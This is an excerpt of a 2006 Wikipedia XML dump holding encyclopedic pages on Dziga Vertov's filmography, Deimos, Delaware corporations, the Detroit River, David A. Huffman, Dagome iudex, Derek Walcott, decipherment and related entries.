* [[1937]] Памяти Серго Орджоникидзе (In Memoriam [[Sergo Ordzhonikidze]])
* [[1937]] Колыбельная (Lullaby)
* [[1938]] Три героини (Three Heroines)
* [[1942]] Казахстан — фронту! (Kazakhstan for the Front!)
* [[1944]] В горах Ала-Тау (In the Mountains of Ala-Tau)
* [[1954]] Новости дня (News of the Day)

== References ==
*''Abstract Film and Beyond.''  Le Grice, Malcolm.  Studio Vista, 1977.
*''Beyond Document: Essays on Nonfiction Film.''  Warren, Charles, ed.  Wesleyan University Press, 1996.
*''Cinema's Second Avant-Garde'' by Christian M. Keathley (Master's Thesis, UF 1993).
*''Documentary: a History of the Non-fiction Film.''  Barnouw, Erik.  Oxford University Press.  Original copyright 1974.
*''The Documentary Idea:  A Critical History of English-Language Documentary Film and Video.''  Ellis, Jack C. Prentice Hall, 1989.
*''Documenting the Documentary: Close Readings of Documentary Film and Video.'' Grant, Barry Keith, and Jeannette Sloniowski, eds.  &quot;'Peace between Man and Machine': Dziga Vertov's ''The Man with a Movie Camera'',&quot; by Seth Feldman, pp. 40-53.
*''Kino-Eye : The Writings of Dziga Vertov,''  by Dziga Vertov.  Michelson, Annette, editor; translated by Kevin O'Brien.  (Paperback - August 1995), University of California Press 
*''Dziga Vertov's Man with the Movie Camera'' DVD, audio commentary track by Yuri Tsivian.

{{commons|Dziga Vertov}}

==External links==

* {{senses|id=directors/03/vertov|name=Dziga Vertov}}

[[Category:1896 births|Vertov, Dziga]]
[[Category:1954 deaths|Vertov, Dziga]]
[[Category:Russian and Soviet film directors|Vertov, Dziga]]

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  <page>
    <title>Deimos</title>
    <id>8932</id>
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      <contributor>
        <username>Silence</username>
        <id>84942</id>
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      <text xml:space="preserve">'''Deimos''', a [[Greek language|Greek]] word for &quot;fear&quot; or &quot;terror&quot;, may refer to:

*[[Deimos (mythology)]], one of the sons of Ares and Aphrodite in Greek mythology.
*[[Deimos (moon)]], the smaller and outermost of [[Mars (planet)|Mars]]' two [[natural satellite|moons]].

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  <page>
    <title>Delaware corporation</title>
    <id>8933</id>
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      <timestamp>2006-02-27T21:36:12Z</timestamp>
      <contributor>
        <username>David.Monniaux</username>
        <id>22449</id>
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      <comment>rv spam</comment>
      <text xml:space="preserve">A '''Delaware corporation''' is a [[corporation]] chartered in the [[U.S. state]] of [[Delaware]].

Delaware is well known as a [[corporate haven]], and many major corporations are chartered in Delaware. Critics of the predominance of Delaware [[corporate law]] believe that its [[law]]s and [[court]]s are excessively friendly to corporations. Proponents point out that many states' laws are more friendly to corporations than Delaware's, especially in offering protection from [[Takeover#Forms of takeover|hostile takeovers]]; they believe that Delaware's popularity has other reasons, such as the fact that, because of the large number of major corporations chartered in Delaware, the courts in that state are more experienced in the application of corporate law than the courts of other states. Disputes over the internal affairs of Delaware corporations are usually filed in the Delaware [[Court of Chancery]], which is a separate court of [[equity]] (as opposed to a [[court of law]]). Because it is a court of equity, there are no juries, and its cases are heard by the judges, called [[chancellor]]s. There is currently one Chancellor and four Vice Chancellors. The court is a trial court, with one chancellor hearing each case. Chancery litigants may appeal to the Delaware Supreme Court.

It is sometimes said that Delaware's preeminance is related to the fact that Delaware charges no [[income tax]] on corporations not operating within the state. However, in this respect Delaware is no different from other states, as no state charges income tax on out-of-state income. A state does levy a [[franchise tax]] on corporations incorporated in it. Franchise taxes in Delaware are actually far higher than in most other states, which typically charge little or nothing beyond corporate income taxes on the portion of the corporation's business done in that state. Delaware's franchise taxes supply about one-fifth of its state revenue.

Over half of publicly-traded corporations in the United States and 58% of the [[Fortune 500]] companies are incorporated in Delaware.

A similar strategy is used for financial institutions.  Many U.S. states have [[usury]] laws limiting the amount of [[interest]] a lender can charge, but Federal law allows corporations to 'import' these laws from their home state. Delaware (amongst others) has relatively lax interest laws, in effect allowing banks to charge as much as they want, hence the preponderance of [[credit card]] companies in the state.

==External links==

* [http://www.state.de.us/corp Delaware Division of Corporations]
* [http://courts.state.de.us/chancery/ Delaware Court of Chancery]
* [http://corporate-law.widener.edu/ctofchan.htm Delaware Corporate Law Clearinghouse]

&lt;!-- WARNING: NO COMMERCIAL LINKS HERE --&gt;

[[Category:United States law]]
[[Category:Companies of the United States]]
[[Category:Government of Delaware|Corporation]]
[[Category:Corporations law]]
[[Category:Types of corporations]]

[[de:Delaware-AG]]</text>
    </revision>
  </page>
  <page>
    <title>Detroit River</title>
    <id>8935</id>
    <revision>
      <id>39308124</id>
      <timestamp>2006-02-12T06:15:31Z</timestamp>
      <contributor>
        <ip>65.9.115.61</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Lake st clair landsat.jpeg|thumb|250px|Landsat satellite photo, showing [[Lake Saint Clair (North America)|Lake Saint Clair]], as well as [[St. Clair River]] connecting it to Lake Huron (to the North) and Detroit River connecting it to [[Lake Ontario]] (to the South)]]

[[Image:DSCN4732 grosseilewaterfront e.jpg|200px|right|thumb|Detroit River seen from [[Grosse Ile Township, Michigan]]]]

The '''Detroit River''' is about 51 km (32 miles) long and 1 to 4 km (0.5 to 2.5 miles) wide in the [[Great Lakes]] system. The name comes from [[French language|French]] ''Rivière du Détroit'', i.e. &quot;River of the [[Strait]]&quot;. The name is a reference to the fact that the river connects [[Lake Saint Clair (North America)|Lake St. Clair]] to [[Lake Erie]]. However, it is not a strait by definition. The boundary between [[Canada]] and the [[United States|United States of America]] passes through the river lengthwise. Its [[elevation]] is 175 meters (579 feet) above [[sea level]]. 

==Geography==
===Tributaries===
While primarily a lake outlet, the Detroit River does have a few tributaries of its own which drain 2,000 km² (772 mi²). These include the [[River Rouge (Michigan)|Rouge River]], [[Ecorse River]], Conner Creek and Marsh Creek in the U.S., and Turkey Creek, [[Little River (Ontario)|Little River]] and [[Canard River]] in Canada.

===Islands===
Islands in the Detroit River include [[Peche Island]], [[Belle Isle (Michigan)|Belle Isle]], [[Zug Island]], [[Fighting Island]], [[Grosse Ile Township, Michigan|Grosse Ile]], and [[Bois Blanc Island (Ontario)|Bois Blanc]] (a.k.a. Boblo) Island. The islands of the lower Detroit River are part of the [[Detroit River International Wildlife Refuge]].

==History==
Historical events concerning the Detroit River began with the arrival of the [[French people|French]] [[Coureur des bois|voyageurs]], the first non-natives to navigate the river and land on Detroit's shores. [[Canoe]]s made of [[birch]] or [[elm]] bark were a common mode of travel across the river, although the [[pirogue]] and [[bateaux]] were also used. The [[War of 1812]] was partially fought along the Detroit River front, and by [[1850]], the [[United States Census, 1850|census]] showed 21,019 people populated Detroit.  [[Ferry|Ferries]], [[schooner]]s and [[steamboat]]s were found traveling along the river. During the [[American Civil War|Civil War]], the river was patrolled in case of a [[Confederate States of America|Confederate]] attack from the [[Canada|Canadian]] north. As [[commerce]] grew, Detroit was becoming the busiest port in the world, and was dubbed &quot;the Greatest Commercial Artery on Earth.&quot; 67,292,504 [[tonnage]] had passed through the Detroit River in [[1907]], compared with 18,727,230 through [[London]], and 20,390,953 through [[New York|New York City]]. When [[prohibition]] outlawed alcohol,  the Detroit River, [[Lake St. Clair]] and the [[St. Clair River]] carried 75 percent of all liquor smuggled into the United States[http://info.detnews.com/history/story/index.cfm?id=186&amp;category=locations].

==Bridges and crossings==
[[Image:DetroitSkyline.jpg|200px|right|thumb|Downtown Detroit as seen from the river]]
The Detroit River is spanned by three crossings between [[Detroit, Michigan]] and [[Windsor, Ontario]]. The southernmost is the [[Ambassador Bridge]], connecting [[Interstate 75|I-75]] to [[Ontario provincial highway 3|Highway 3]]. The [[Michigan Central Railway Tunnel]] carries rail traffic between the two nations, and the [[Detroit-Windsor Tunnel]] connects [[Interstate 375 (Michigan)|I-375]] and [[Michigan State Highway 10|M-10]] to [[Ontario provincial highway 3B|Highway 3B]]. Two bridges connect Grosse Ile to the mainland U.S. and one bridge connects Belle Isle to Detroit.

==Modern uses==
The Detroit River supplies the drinking water for over five million people and was designated an [[American Heritage Rivers|American Heritage River]] in [[1998]]. A shipping channel for the [[Great Lakes Waterway]] system is maintained in the river. The river flows past the American towns of [[Detroit, Michigan|Detroit]], [[River Rouge, Michigan|River Rouge]], [[Ecorse, Michigan|Ecorse]], [[Wyandotte, Michigan|Wyandotte]], [[Grosse Ile Township, Michigan|Grosse Ile]], [[Riverview, Wayne County, Michigan|Riverview]], [[Trenton, Michigan|Trenton]], and [[Gibraltar, Michigan|Gibraltar]] and the Canadian towns of [[Windsor, Ontario|Windsor]], [[LaSalle, Ontario|LaSalle]] and [[Amherstburg, Ontario|Amherstburg]].

==See also==
*[[List of Michigan rivers]]
*[[List of Ontario rivers]]

==External links==
*[http://www.chrs.ca/Rivers/Detroit/Detroit_e.htm Detroit River, Canadian Heritage River site]
*[http://www.epa.gov/rivers/98rivers/detroit.html US EPA page on Detroit RIver] 
*[http://www.greenwaycollab.com/images/DET_RIV/DROM.gif External link with map and satellite photo]


[[Category:American Heritage Rivers]]
[[Category:Detroit River| ]]

[[de:Detroit River]]
[[et:Detroiti jõgi]]
[[ja:デトロイト川]]</text>
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  </page>
  <page>
    <title>Drunkeness</title>
    <id>8936</id>
    <revision>
      <id>32808681</id>
      <timestamp>2005-12-26T22:55:57Z</timestamp>
      <contributor>
        <username>Nikai</username>
        <id>9759</id>
      </contributor>
      <comment>R from misspelling</comment>
      <text xml:space="preserve">#REDIRECT [[Drunkenness]] {{R from misspelling}}</text>
    </revision>
  </page>
  <page>
    <title>Dsungaripterus</title>
    <id>8937</id>
    <revision>
      <id>37539388</id>
      <timestamp>2006-01-31T17:31:35Z</timestamp>
      <contributor>
        <username>Gdrbot</username>
        <id>263608</id>
      </contributor>
      <minor />
      <comment>nomialbot — converted multi-template taxobox to {{Taxobox}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = ''Dsungaripterus''
| status = {{StatusFossil}}
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Sauropsid|Sauropsida]]
| ordo = [[Pterosauria]]
| familia = [[Dsungaripteridae]]
| genus = '''''Dsungaripterus'''''
| subdivision_ranks = Species
| subdivision = 
''D. brancai''&lt;br&gt;
''D. weii''
}}

'''''Dsungaripterus''''' was a [[Pterosaur]] with a wingspan of 3 metres (10 feet). It had a bony crest running along its snout, and long, narrow, upcurved jaws with a pointed tip. It lived in northern [[China]] during the [[Early Cretaceous|early]] [[Cretaceous]] period.

[[Category:Pterosaurs]]
{{reptile-stub}}</text>
    </revision>
  </page>
  <page>
    <title>David A. Huffman</title>
    <id>8938</id>
    <revision>
      <id>39375845</id>
      <timestamp>2006-02-12T19:30:44Z</timestamp>
      <contributor>
        <username>Ghepeu</username>
        <id>217964</id>
      </contributor>
      <text xml:space="preserve">{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; width=&quot;245&quot; style=&quot;margin-left:3px&quot; align=&quot;right&quot;
!align=&quot;center&quot; bgcolor=&quot;salmon&quot; colspan=&quot;3&quot;|''David A. Huffman''
|-
|align=&quot;center&quot; colspan=&quot;3&quot;|[[Image:dHuffman.jpg]]
|-
!align=&quot;center&quot; bgcolor=&quot;salmon&quot; colspan=&quot;3&quot;|Career Snapshot
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Born
|colspan=&quot;2&quot; valign=&quot;top&quot;| [[August 9]], [[1925]]
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Died
|colspan=&quot;2&quot; valign=&quot;top&quot;| [[October 7]], [[1999]]
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Most Known for
|colspan=&quot;2&quot; valign=&quot;top&quot;| [[Huffman coding]]

|}
Professor '''David A. Huffman''' ([[August 9]], [[1925]] - [[October 7]], [[1999]]) was a pioneer in the [[computer science]] field.

Throughout his life, Huffman made significant contributions to the study of [[finite state machine]]s, [[switching circuit]]s, [[synthesis procedure]]s, and [[signal design]]s. However, David Huffman is best known for his legendary [[Huffman coding|Huffman code]], a [[Data compression|compression]] scheme for [[Lossless data compression|lossless]] variable length [[coding theory|encoding]]. It was the result of a term paper he wrote while a graduate student at the [[Massachusetts Institute of Technology]] (MIT), where he earned a [[Doctor of Science|ScD]] degree in EECS in 1953.

&quot;Huffman Codes&quot; are used in nearly every application that involves the [[Data compression|compression]] and transmission of [[digital]] [[data]], such as [[Fax|fax machine]]s, [[modem]]s, [[computer network]]s, and [[high-definition television]] (HDTV), to name a few. 

==Biography==
A native of [[Ohio]], Huffman earned his B.S. in [[electrical engineering]] from [[Ohio State University]] at the age of 18 in [[1944]]. He then served in the [[United States Navy|U.S. Navy]] as a [[radar]] maintenance officer on a destroyer that helped to clear mines in Japanese and Chinese waters after [[World War II]]. He subsequently earned his M.S. degree from Ohio State in [[1949]] and his Ph.D. from MIT in [[1953]], also in [[electrical engineering]]. 

Huffman joined the faculty at MIT in [[1953]]. In [[1967]], he went to [[University of California, Santa Cruz]] as the founding faculty member of the Computer Science Department. He played a major role in the development of the department's academic programs and the hiring of its faculty, and served as chair from 1970 to [[1973]]. He retired in [[1994]], but remained active as an emeritus professor, teaching information theory and signal analysis courses. 

Huffman made important contributions in many other areas, including [[information theory]] and coding, signal designs for radar and communications applications, and design procedures for asynchronous logical circuits. 
As an outgrowth of his work on the mathematical properties of &quot;zero curvature&quot; surfaces, Huffman developed his own techniques for folding paper into unusual sculptured shapes (which gave rise to the field of [[mathematics of paper folding|computational origami]]). 

Huffman's accomplishments earned him numerous awards and honors. Most recently, he received the [[1999]] [[Richard Hamming]] Medal from the [[Institute of Electrical and Electronics Engineers]] (IEEE) in recognition of his exceptional contributions to information sciences. He also received the [[Louis E. Levy]] Medal of the Franklin Institute for his doctoral thesis on sequential [[switching circuit]]s, a Distinguished Alumnus Award from Ohio State University, and the [[W. Wallace McDowell]] Award. He was a charter recipient of the Computer Pioneer Award from the IEEE Computer Society, and he received a Golden Jubilee Award for Technological Innovation from the IEEE Information Theory Society in [[1998]].

David Huffman passed away in 1999 after a 10-month battle with [[cancer]]. He was survived by his wife, Marilyn Huffman, of [[Santa Cruz, California|Santa Cruz]]; his former wife, Jane Ayres Huffman; their three children, Elise, Linda, and [http://www.mitre.org/about/officers/huffman.html Stephen Huffman], all of Santa Cruz; a son-in-law, Jeff Grubb, of Santa Cruz; a stepdaughter, Marti Homer Kehlet, of [[Sacramento, California|Sacramento]], her husband, Daret, and their daughter, Karsen; a stepson, Darin Homer of [[Prunedale, California|Prunedale]], his wife, Jane, and their son, Ryan; and a brother, Donald Huffman, of [[Westerville, Ohio|Westerville]], Ohio, his wife, Jean, and their family. 

Huffman never tried to [[patent]] an invention from his work. Instead, he concentrated his efforts on education.  In Huffman's own words, &quot;My products are my students.&quot;

==See also==
* [[Data compression]]
* [[Lossless data compression]]
* [[Huffman coding]]
* [[Information entropy|Entropy]]
*[[Shannon-Fano coding]]

==External links==
* [http://www.ucsc.edu/currents/99-00/10-18/inmemoriam.html &quot;In Memoriam,&quot; UC Santa Cruz Currents Online], October 18, 1999. 
* [http://www.huffmancoding.com/david/scientific.html Scientific American Profile: David Huffman], Gary Stix, September 1991.
* [http://www.ucsc.edu/news_events/press_releases/archive/99-00/10-99/huffman.htm UCSC Press Release: Faculty member David Huffman dies at 74]
* [http://www.sgi.com/grafica/huffman/ Geometric Paper Folding: Dr. David Huffman]
* [http://www.nytimes.com/2004/06/22/science/22orig.html?pagewanted=1 Cones, Curves, Shells, Towers: He Made Paper Jump to Life (NY Times subscription required)]

[[Category:1925 births|Huffman, David A.]]
[[Category:1999 deaths|Huffman, David A.]]
[[Category:Computer pioneers|Huffman, David A.]]
[[Category:American computer scientists|Huffman, David A.]]



[[de:David A. Huffman]]
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[[pl:David Huffman]]</text>
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  <page>
    <title>David Huffman</title>
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      <text xml:space="preserve">#REDIRECT [[David A. Huffman]]
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  </page>
  <page>
    <title>Dagome iudex</title>
    <id>8941</id>
    <revision>
      <id>39071375</id>
      <timestamp>2006-02-10T14:45:24Z</timestamp>
      <contributor>
        <username>Appleseed</username>
        <id>404133</id>
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      <minor />
      <text xml:space="preserve">'''''Dagome iudex''''' is the name applied to one of the earliest documents relating to [[Poland]], written by [[Mieszko I]] and his wife [[Oda von Haldensleben|Oda]] in [[991]], placing the Polish state and its capital, [[Gniezno]], under the protection of the [[Apostolic See]]. The document's  name derives from its two opening words. 

==Nature and import of the ''Dagome iudex''== 

The ''Dagome iudex'' survives only in the form of a summary, completed ca. [[1080]]. It was found in a register compiled by a [[Roman Curia|curial]] 
[[Catholic Cardinal|cardinal]] during the [[Pope|papacy]] of [[Pope Gregory VII|Gregory VII]]. 

Most historians believe that ''Dagome'' is a melding of two names:  the Christian ''Dago'',
for &quot;Dagobert&quot; (Mieszko's baptismal name), and the Slavic ''Me'', for &quot;Mieszko.&quot;  The [[Latin]] word ''iudex'' (&quot;judge&quot;) is used in the meaning of &quot;prince.&quot;
 
Place names are misspelled by the person who made the summary.  He was also apparently unaware that the document related to Poland.

The boundaries of the &quot;[[Gniezno]]&quot; state are described as extending to the &quot;Long Sea&quot; (the [[Baltic Sea|Baltic]]), [[Prussia]], [[Rus']], [[Kraków]], [[Moravia]] and the [[Oder River]].  The document did not take account of [[Mieszko I|Mieszko]]'s territorial conquests of [[989]] - [[990]], [[Lesser Poland]] and [[Silesia]].

The ''Dagome iudex'' is of capital importance for [[History of Poland|Polish history]] in giving a general description of the Polish state in that period.  It, however, leaves unanswered many questions.  First, it does not explain ''why'' [[Mieszko I]] placed his state under the protection of the Pope.  Also, it is unclear why the document does not mention Mieszko's eldest son, [[Bolesław I the Brave]].  Mentioned instead are his sons by his second wife, Oda. No mention is made, too, of the third son from that marriage, [[Świętopełk]]. In addition, it is not clear why the city of [[Kraków]], which had probably been conquered by Mieszko before the document was drawn up, is mentioned as a borderland and not as part of the &quot;''Shinesghe civitas''.&quot; Finally, Mieszko I is not referred to as &quot;''Dagome''&quot; in any other document. 

Historians suppose that Bolesław's absence from the document might be explained by an old Slavic custom whereby children received their inheritance as soon as they reached the [[age of majority]]. Thus [[Bolesław I the Brave|Bolesław the Brave]] might have received [[Kraków]] as his part of his father's legacy before the ''Dagome iudex'' had been written.  

==Summary text of the ''Dagome iudex''==
* In the Latin:
:''Item in alio tomo sub Iohanne XV papa Dagome iudex et [[Ote]] senatrix et filii eorum: Misicam et Lambertus - nescio cuius gentis homines, puto autem [[Sardinia|Sardos]] fuisse, quoniam ipsi a III iudicibus reguntur - leguntur beato Petro contulisse unam civitatem in integro, que vocatur Schinesghe, cum omnibus suis pertinentiis infra hos affines, sicuti incipit a primo latere longum mare, fine Bruzze usque in locum, qui dicitur Russe et fines Russe extendente usque in Craccoa et ab ipsa Craccoa usque ad flumen Oddere recte in locum, qui dicitur Alemure, et ab ipsa Alemura usque in terram Milze recte intra Oddere et exinde ducente iuxta flumen Oddera usque in predictam civitatem Schinesghe.''
*In English translation:
:&quot;Also in another volume from the times of [[Pope John XV]], Dagome{{ref|Dagome}}, lord{{ref|iudex}}, and [[Oda von Haldensleben|Ote]], lady{{ref|lady}}, and their sons [[Mieszko Mieszkowic|Misico]] and [[Lambert Mieszkowic|Lambert]]{{ref|Lambert}} (I do not know of which nation those people are, but I think they are [[Sardinia|Sardinians]], for those are ruled by three lords{{ref|monk}}) were supposed to give to Saint Peter one state in whole which is called Schinesghe,{{ref|Schinesghe}} with all its lands in borders which run along the long sea{{ref|sea}}, along Prussia to the place called Rus, thence to [[Kraków]] and from said Kraków to the River [[Oder]], straight to a place called Alemure{{ref|Alemure}}, and from said Alemure to the land of [[Milczanie|Milze]], and from the borders of that people to the Oder and from that, going along the River Oder, ending at the earlier mentioned city of Schinesghe.&quot;

==Notes==
The following notes are based on interpretations by the Polish historian [[Gerard Labuda]].

:{{ref|Dagome}} &quot;Dagome&quot; is commonly identified as [[Mieszko I]]. However, the question remains open whether this was a misspelling or his Christian name. If the latter, it might correspond to the names &quot;[[Dago]],&quot; &quot;[[Dagon]]&quot; or &quot;[[Dagobert]].&quot; 
:{{ref|iudex}} In classical Latin, the term ''iudex'' was used to refer to &quot;a person who is ordered to do some work on behalf of others&quot; and was identical in meaning to the Byzantine ''[[archont]]''. However, in mediaeval Latin ''iudex'' could also mean a sovereign ruler. Princes of [[Slavs|Slavic]] tribes were sometimes referred to as ''iudices''.  Nevertheless,  some historians claim that this was a misspelling of the Latin ''[[dux]]'' (&quot;duke&quot; or &quot;prince&quot;). 
:{{ref|lady}} Literally, &quot;old woman.&quot;  Cf. &quot;[[senate]].&quot;
:{{ref|Lambert}} It is unclear why [[Bolesław I the Brave]], Mieszko's eldest son and his successor, is not mentioned while the children from Mieszko's marriage to Ote are.
:{{ref|monk}}  Scribe's note. 
:{{ref|Shinesghe}}  The origin of the name ''Schinesghe'' is unclear. Some historians argue that it is a corruption of &quot;[[Gniezno]],&quot; then Poland's capital. Others identify it with the town of [[Szczecin]].
:{{ref|sea}} &quot;Long sea&quot;:  Some historians identify it with the [[Baltic Sea]], others with the province of [[Pomerania]] (the Baltic coast), a part of Poland ca. [[990]]. 
:{{ref|Alemure}} ''Alemure'' might be the city of [[Olomouc]], in [[Moravia]]. However, this is uncertain.

==See also==
[[Scandinavian connections to Mieszko I]].

[[Category:Historical documents]]
[[Category:History of Poland (966–1385)]]

[[de:Dagome Iudex]]
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[[pl:Dagome Iudex]]</text>
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  </page>
  <page>
    <title>DA</title>
    <id>8942</id>
    <revision>
      <id>41813364</id>
      <timestamp>2006-03-01T22:40:18Z</timestamp>
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        <username>ContiE</username>
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      <minor />
      <comment>rm vandalism</comment>
      <text xml:space="preserve">{{wiktionary |da}}
'''Da''' may refer to:

* [[Adi Da]], a spiritual leader once known as Da Free John, and Da Love-Ananda

'''DA''' might be an [[acronym]] or [[abbreviation]] for:

* [[DA postal area]]
* [[Air Georgia]] (airline code DA)
* [[Daniel Amos]]
* [[Dark Ages (computer game)]]
* [[Darmstadt]], a town in middle Germany
* [[Dearness allowance]], part of salary calculations in India
* [[Decision analysis]]
* [[Deutsche  Alternative]] ([[German Alternative]]), a rightist group.
* [[deviantART]], an online artistic community
* [[Digital-to-analog converter]] (DA or D/A), in recording
* [[Dimensional analysis]]
* [[Directional antenna]], used in AM broadcasting
* [[Danish language]] (ISO 639-1 alpha-2, da)
* [[Doomsday argument]]
* [[Doctor of Arts]] degree
* [[Dopamine]]
* [[Ducktail]], a hairstyle for men. 
* [[Dumbledore's Army]] in ''Harry Potter and the Order of the Phoenix''
* Dalton (Da), the [[atomic mass unit]]
* Degtyarev DA Soviet machine gun, a version of the [[DP-28]]
* District Attorney, a [[United States Attorney]] or [[County attorney]]
* Dura-Ace, a [[Shimano]] racing bicycle groupset

'''Dà''', a Chinese abbreviation for:

* ''Réndà'': [[National People's Congress]]
* ''Guódà'': [[National Congress of the Communist Party of China]]

{{disambig}}

[[eo:Da]]
[[ko:DA]]
[[it:Da]]
[[ja:DA]]
[[pl:DA]]
[[pt:DA]]</text>
    </revision>
  </page>
  <page>
    <title>Derek Walcott</title>
    <id>8945</id>
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      <minor />
      <comment>disambiguation from [[Myth]] to [[Mythology]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">[[Image:Walcott.jpg|thumb|right|Derek Walcott, courtesy of the Nobel Foundation]]
'''Derek Alton Walcott''' (born [[January 23]], [[1930]]) is a poet, playwright, writer and visual artist who was in the vanguard of the post-colonial school of [[English language]] writing. Born in [[Castries]], [[St. Lucia]], he won the [[Nobel Prize for Literature]] in [[1992]].

His work, which developed independently of the schools of [[magic realism]] emerging in both [[South America]] and [[Europe]] at around the time of his birth, is intensely related to the symbolism of [[Mythology|myth]] and its relationship to [[culture]]. He is best known for his epic poem ''Omeros'', a reworking of [[Homer]]ic story and tradition into a journey around the [[Caribbean]] and beyond to the American West and London.

Walcott founded the [[Trinidad Theatre Workshop]] in 1959, which has produced his plays (and others) since that time, and remains active with its Board of Directors.  He also taught at [[Boston University]] where he instructed such poets as [[Glyn Maxwell]].

==Walcott as playwright and theorist==
Walcott has published more than twenty plays. The majority of these plays have been produced by the [[Trinidad Theatre Workshop]], and have also been widely staged elsewhere.  Many of them deal, either directly or indirectly, with the liminal status of the West Indies in the postcolonial period.  [[epistemology|Epistemological]], [[ontology|ontological]], [[economics|economical]], [[politics|political]], and [[social]] themes make regular appearances in Walcott's plays.

In his [[1970]] essay on art (and specifically theatre) in his native region, ''What the Twilight Says:  An Overture'' (published in ''Dream on Monkey Mountain and Other Plays''; see bibliography), Walcott bemoans the lasting effects of over 400 years of colonial rule.  He reflects on the West Indies as colonized space, and the problems presented by a region with little in the way of truly indigenous forms, and with little national or nationalist identity.  He states: “...we are all strangers here (10). [...] Our bodies think in one language and move in another...”(31).  In this mannner, Walcott shifts his poetic language between formal English and [[patois]] to highlight the linguistic dexterity of the Caribbean people.  While recognising the profound psychological and material wrongs of the colonial project, Walcott simultaneously celebrates the hybridisation of Antillean cultures.  His epic poem ''Omeros'' exposes the complex cultural strains that converge in his native [[Saint Lucia|St. Lucia]], celebrating at once the European, Amerindian, and African heritage shared by the islanders.  

Discussions of epistemological effects of colonization inform plays such as ''Ti-Jean and his Brothers''.  One of the eponymous brothers (Mi-Jean) is shown to have much information, but to truly know nothing.  Every line Mi-Jean recites is rote knowledge gained from the coloniser, and as such is unable to be synthesized and thus is inapplicable to his existence as colonised person.  

Walcott's plays weave together a variety of forms; including those of the [[folktale]], [[morality play]], [[allegory]], [[fable]], [[ritual]] and [[Mythology|myth]]; as well as using emblematic and mythological characters to address issues in non-realistic ways.

==Works== 

===Poetry collections===
* (1948) ''25 Poems''
* (1949) ''Epitaph for the Young: Xll Cantos''
* (1951) ''Poems''
* (1962) ''In a Green Night: Poems 1948&amp;ndash;60''
* (1964) ''Selected Poems''
* (1965) ''The Castaway and Other Poems''
* (1969) ''The Gulf and Other Poems''
* (1973) ''Another Life'' 
* (1976) ''Sea Grapes''
* (1979) ''The Star-Apple Kingdom''
* (1981) ''Selected Poetry''
* (1981) ''The Fortunate Traveller'' 
* (1983) ''The Caribbean Poetry of Derek Walcott and the Art of Romare Bearden''
* (1984) ''Midsummer'' 
* (1986) ''Collected Poems, 1948-1984''
* (1987) ''The Arkansas Testament''
* (1990) ''[[Omeros]]''
* (1997) ''The Bounty'' 
* (2000) ''Tiepolo's Hound''
* (2004) ''[[The Prodigal]]''

===Plays===
* (1950) ''Henri Christophe: A Chronicle in Seven Scenes''
* (1951) ''Harry Dernier: A Play for Radio Production''
* (1953) ''Wine of the Country''
* (1954) ''The Sea at Dauphin: A Play in One Act''
* (1957) ''Ione''
* (1958) ''Drums and Colours: An Epic Drama''
* (1958) ''Ti-Jean and His Brothers''
* (1966) ''Malcochon: or, Six in the Rain''
* (1967) ''Dream on Monkey Mountain''
* (1970) ''In a Fine Castle''
* (1974) ''The Joker of Seville''
* (1974) ''The Charlatan''
* (1976) ''O Babylon!''
* (1977) ''Remembrance''
* (1978) ''Pantomime''
* (1980) ''The Joker of Seville and O Babylon!: Two Plays''
* (1982) ''The Isle Is Full of Noises''
* (1986) Three Plays (''The Last Carnival'', ''Beef, No Chicken'', and ''A Branch of the Blue Nile'')
* (1991) ''Steel''
* (1993) ''Odyssey: A Stage Version''
* (1997) ''[[The Capeman]]'' (lyrics, in collaboration with [[Paul Simon]])

==External links==
*[http://www.nobel.se/literature/laureates/1992/index.html Nobel Laureate Derek Walcott]
*[http://www.postcolonialweb.org/caribbean/walcott/walcottov.html Postcolonialweb.org on Walcott]
*[http://www.ttw.org.tt/ Trinidad Theatre Workshop]

== Further reading ==
*Breslin, Paul.  ''Nobody's Nation: Reading Derek Walcott''.  Chicago: U. Chicago, 2001.  ISBN 0-226-07426-9
*Hamner, Robert D., Ed.  ''Critical Perspectives on Derek Walcott''.  Washington, D.C.:  Three Continents, 1993.  ISBN 0-89410-142-0
*Parker, Michael and Roger Starkey, Eds.  ''New Casebooks: Postcolonial Literatures: Achebe, Ngugi, Desai, Walcott''.  Houndmills, Basingstoke, Hampshire: Macmillan, 1995. ISBN 0-333-60801-1
*Walcott, Derek.  ''Dream on Monkey Mountain and Other Plays''.  New York:  Farrar, 1970.  ISBN 0-374-50860-7


[[Category:1930 births|Walcott, Derek]]
[[Category:Living people|Walcott, Derek]]
[[Category:MacArthur Fellows|Walcott, Derek]]
[[Category:Nobel Prize in Literature winners|Walcott, Derek]]
[[Category:Saint Lucian writers|Walcott, Derek]]
[[Category:Trinidad and Tobago writers|Walcott, Derek]]
[[Category: Dramatists and playwrights|Walcott, Derek]]

[[bg:Дерек Уолкот]]
[[de:Derek Walcott]]
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    </revision>
  </page>
  <page>
    <title>Decipherment</title>
    <id>8946</id>
    <revision>
      <id>38595231</id>
      <timestamp>2006-02-07T09:49:07Z</timestamp>
      <contributor>
        <username>Quatloo</username>
        <id>716232</id>
      </contributor>
      <minor />
      <comment>May perhaps have an Arabic root but this is not an Arabic word</comment>
      <text xml:space="preserve">:''[[Decipher, Inc.]] is also the name of a game publisher''

'''Decipherment''' is the analysis of documents written in ancient [[language]]s, where the language is unknown, or knowledge of the language has been lost.

It is closely related to [[cryptanalysis]] &amp;mdash; the difference being that the original document was not deliberately written to be difficult to decipher.

The term has also been used to describe the analysis of the [[genetic code]] information encoded in [[DNA]] - see the [[Human Genome Project]] article for more on this.  

Some people have also used the word metaphorically to mean something like 'understanding'.

Examples of document decipherment:
* [[Cuneiform (script)|Cuneiform]] writing
* [[Harappan writing]]
* [[Egyptian hieroglyph]]ic writing
* [[Indus script]]
* [[Kharoshthi|Kharoshthi script]]
* [[Linear A]]
* [[Linear B]]
* [[Maya writing]]
* [[Olmec writing]]

Famous documents that have been the subject of actual or attempted decipherment:
* the [[Dresden Codex]]
* the [[Phaistos Disc]]
* the [[Rosetta Stone]]
* the [[Behistun Inscription]]
* the [[Voynich Manuscript]]
* the [[Rohonczi Codex]]

Famous decipherers:
* [[Michael Ventris]]
